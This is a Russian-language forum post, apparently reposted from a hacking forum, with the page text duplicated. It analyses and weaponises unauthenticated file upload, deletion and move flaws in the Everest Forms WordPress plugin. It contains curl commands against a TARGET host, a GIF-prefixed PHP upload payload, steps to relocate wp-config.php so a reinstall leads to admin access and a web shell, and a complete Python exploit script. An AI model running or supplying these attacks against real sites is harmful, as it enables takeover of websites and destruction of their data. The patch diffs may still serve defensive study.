D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор xargs
Источник https://xss.is/threads/134115/
На днях мне на почту пришла рассылка от wordfence в которой была новость:
Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:
Diff: Скопировать в буфер обмена
и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.
Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки
PHP: Скопировать в буфер обмена
Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.
Создаем форму без загрузки файлов.
Обузим AJAX хуки:
Код:
Код: Скопировать в буфер обмена
Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:
PHP: Скопировать в буфер обмена
Первая строка GIF56a обходит проверку содержимого.
Удаление файла index.html
Код: Скопировать в буфер обмена
ну или любого другого файла...
Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.
Так же мы можем вызвать ошибку, если сервер их отображает:
И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.
Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.
Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.
Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.
Python: Скопировать в буфер обмена
requirements.txt
Код: Скопировать в буфер обмена
Установка зависимостей
Код: Скопировать в буфер обмена
Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x
Ссылки по теме:
https://www.wordfence.com/threat-in...cated-arbitrary-file-upload-read-and-deletion
https://github.com/wpeverest/everest-forms/pull/1406/files
https://github.com/wpeverest/everest-forms/commit/7d37858d2c614aa107b0f495fe50819a3867e7f5
Источник https://xss.is/threads/134115/
На днях мне на почту пришла рассылка от wordfence в которой была новость:
100,000 WordPress Sites Affected by Arbitrary File Upload, Read and Deletion Vulnerability in Everest Forms WordPress Plugin
https://www.wordfence.com/blog/2025...nerability-in-everest-forms-wordpress-plugin/На момент написания последняя версия плагина 3.0.9.5
Мы тестили 3.0.9.4 и 3.0.9.3
Абуз конфига (ниже) в 3.0.9.3 остальное актуально для 3.0.9.4
Нажмите, чтобы раскрыть...
Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:
Diff: Скопировать в буфер обмена
Код:
diff -u everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php everest-forms3095/includes/abstracts/class-evf-form-fields-upload.php
@@ -1114,6 +1114,7 @@
if ( $proper_filename || ! $ext || ! $type ) {
evf()->task->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'File type is not allowed.', 'everest-forms' );
update_option( 'evf_validation_error', 'yes' );
+ wp_die( 'File type is not allowed' );
}
// Allow third-party integrations.
============================================================================================================================
diff -u everest-forms3094/includes/evf-core-functions.php everest-forms3095/includes/evf-core-functions.php
@@ -4728,14 +4728,30 @@
break;
case 'date':
if ( 'range' === $mode ) {
+ $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
$selected_dates = explode( ' to ', $datetime_value );
if ( count( $selected_dates ) >= 2 ) {
- $datetime_start = "$selected_dates[0] 00:00";
- $datetime_start = gmdate( 'Y-m-d H:i', strtotime( $datetime_start ) );
- $date_time = new DateTime( $selected_dates[1] );
- $date_time->modify( '+23 hour' );
- $datetime_end = $date_time->format( 'Y-m-d H:i' );
- $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+ if ( count( $selected_dates ) >= 2 ) {
+ $start_date = DateTime::createFromFormat( $date_format, $selected_dates[0] );
+ if ( $start_date === false ) {
+ evf_get_logger()->debug( print_r( "Invalid start date format: {$selected_dates[0]}", true ) );
+ }
+ $start_date->setTime( 0, 0 );
+ $datetime_start = $start_date->format( 'Y-m-d H:i' );
+
+ $end_date = DateTime::createFromFormat( $date_format, $selected_dates[1] );
+ if ( $end_date === false ) {
+ evf_get_logger()->debug( print_r( "Invalid end date format: {$selected_dates[1]}", true ) );
+ }
+ $end_date->modify( '+23 hours' );
+ $datetime_end = $end_date->format( 'Y-m-d H:i' );
+
+ $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+ }
+ }else{
+ if ( !empty($datetime_value) && ! is_array ( $datetime_value) ) {
+ $datetime_arr[ $entry_id ] = $datetime_value ;
+ }
}
} else {
$selected_dates = explode( ', ', $datetime_value );
@@ -4753,6 +4769,7 @@
break;
case 'date-time':
if ( 'range' === $mode ) {
+ $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
$selected_dates = explode( ' to ', $datetime_value );
if ( count( $selected_dates ) >= 2 ) {
$datetime_start = gmdate( 'Y-m-d H:i', strtotime( $selected_dates[0] ) );
============================================================================================================================
diff -u everest-forms3093/includes/abstracts/class-evf-form-fields-upload.php everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
@@ -1198,8 +1198,7 @@
*/
protected function generate_file_info( $file ) {
$dir = $this->get_form_files_dir();
-
- $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . $file['file'];
+ $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . sanitize_file_name($file['file']);
$file['type'] = 'application/octet-stream';
if ( is_file( $file['tmp_path'] ) ) {
$filetype = wp_check_filetype( $file['tmp_path'] );
============================================================================================================================
diff -u everest-forms3093/readme.txt everest-forms3094/readme.txt
+* Fix - Sanitization filename issue in temporary path.
============================================================================================================================
и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
wp_die( 'File type is not allowed' );
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.
Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки
PHP: Скопировать в буфер обмена
Код:
public function add_ajax_events() {
$ajax_events = array(
'upload_file',
'remove_file',
);
foreach ( $ajax_events as $ajax_event ) {
add_action( 'wp_ajax_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
add_action( 'wp_ajax_nopriv_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
}
}
Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.
Создаем форму без загрузки файлов.
Обузим AJAX хуки:
Код:
Код: Скопировать в буфер обмена
Код:
curl --path-as-is -i -s -k -X POST \
-H "Content-Type: multipart/form-data" \
-F "action=everest_forms_upload_file" \
-F "form_id=87" \
-F "field_id=qweasd" \
-F "file=@1.txt;type=text/plain" \
"https://TARGET/wp-admin/admin-ajax.php"
Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:
PHP: Скопировать в буфер обмена
Код:
GIF56a
<?php
var_dump(1337);
phpinfo();
exit();
Удаление файла index.html
Код: Скопировать в буфер обмена
curl -X POST -d "action=everest_forms_remove_file&file=index.html&form_id=90&field_id=qweasd" https://TARGET/wp-admin/admin-ajax.php
ну или любого другого файла...
Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
[{"file":"067babc1eac8bbac3f5b9af84e03f73a.txt","name":"1.txt"}]
К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.
Так же мы можем вызвать ошибку, если сервер их отображает:
И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.
Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.
Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.
Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
import re
import sys
import json
def get_form_data(form_url):
session = requests.Session()
response = session.get(form_url)
if response.status_code != 200:
print(f"Ошибка: {response.status_code}")
return None, None, None, None, None, None, None
soup = BeautifulSoup(response.text, 'html.parser')
form = soup.find('form', class_='everest-form')
if not form:
print("Форма с классом 'everest-form' не найдена.")
return None, None, None, None, None, None, None
form_data = {}
required_fields = {}
hidden_fields = {}
file_upload_fields = {}
for field in form.find_all(['input', 'select', 'textarea']):
name = field.get('name')
value = field.get('value', '')
field_type = field.get('type', 'text')
is_required = field.has_attr('required')
is_hidden = field_type == 'hidden'
is_file_upload = 'dropzone-input' in field.get('class', []) and not is_hidden
if name:
if is_hidden:
hidden_fields[name] = value
elif is_file_upload:
file_upload_fields[name] = value
else:
form_data[name] = value
if is_required:
required_fields[name] = value
user_input_data = {}
if required_fields:
print("\nВведите значения для обязательных полей:")
for field_name in required_fields.keys():
user_input_data[field_name] = input(f"Введите значение для {field_name}: ")
cookies = session.cookies.get_dict()
return form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data
def upload_file(wp_url, file_upload_fields, cookies, session):
for name in file_upload_fields:
match = re.match(r'(everest_forms_)(\d+)_(.+)', name)
if not match:
print(f"Не удалось разобрать имя поля: {name}")
continue
_, form_id, field_id = match.groups()
form_id = int(form_id)
files = {
'file': ('1.txt', b'GIF56a\n<?php\nvar_dump(1337);\nphpinfo();\nexit();', 'text/plain')
}
data = {
'action': 'everest_forms_upload_file',
'form_id': str(form_id),
'field_id': field_id
}
url = f"{wp_url}/wp-admin/admin-ajax.php"
response = session.post(url, data=data, files=files, cookies=cookies)
if response.status_code == 200:
try:
response_json = response.json()
uploaded_file = response_json.get("data", {}).get("file")
if uploaded_file:
print(f"Файл успешно загружен: {uploaded_file}")
return uploaded_file, name
except json.JSONDecodeError:
print("Ошибка: Не удалось разобрать JSON-ответ сервера.")
print(f"Ошибка загрузки файла. Код ответа: {response.status_code}")
return None, None
def move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session):
custom_file = input(f"Использовать загруженный файл {uploaded_file} или указать свой? (y/n): ")
if custom_file.lower() == 'n':
uploaded_file = input("Введите имя файла для отправки: ")
full_form_data = {**hidden_fields, **form_data, **required_fields, **user_input_data}
if uploaded_field:
full_form_data[uploaded_field] = json.dumps([{"file": uploaded_file, "name": "EXPLOIT-EXPLOIT-EXPLOIT.php"}])
print("\nСформированные данные для отправки:", json.dumps(full_form_data, indent=4, ensure_ascii=False))
confirm = input("Отправить форму? (y/n): ")
if confirm.lower() == 'y':
response = session.post(form_url, files={k: (None, v) for k, v in full_form_data.items()}, cookies=cookies)
print("\nФорма отправлена. Код ответа:", response.status_code)
else:
print("Отправка отменена пользователем.")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Использование: python script.py <wp_url> <form_url>")
sys.exit(1)
wp_url = sys.argv[1]
form_url = sys.argv[2]
form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data = get_form_data(form_url)
if file_upload_fields:
uploaded_file, uploaded_field = upload_file(wp_url, file_upload_fields, cookies, session)
if uploaded_file:
move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session)
requirements.txt
Код: Скопировать в буфер обмена
Код:
requests
beautifulsoup4
Код: Скопировать в буфер обмена
pip install -r requirements.txt
Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x
Ссылки по теме:
https://www.wordfence.com/threat-in...cated-arbitrary-file-upload-read-and-deletion
https://github.com/wpeverest/everest-forms/pull/1406/files
https://github.com/wpeverest/everest-forms/commit/7d37858d2c614aa107b0f495fe50819a3867e7f5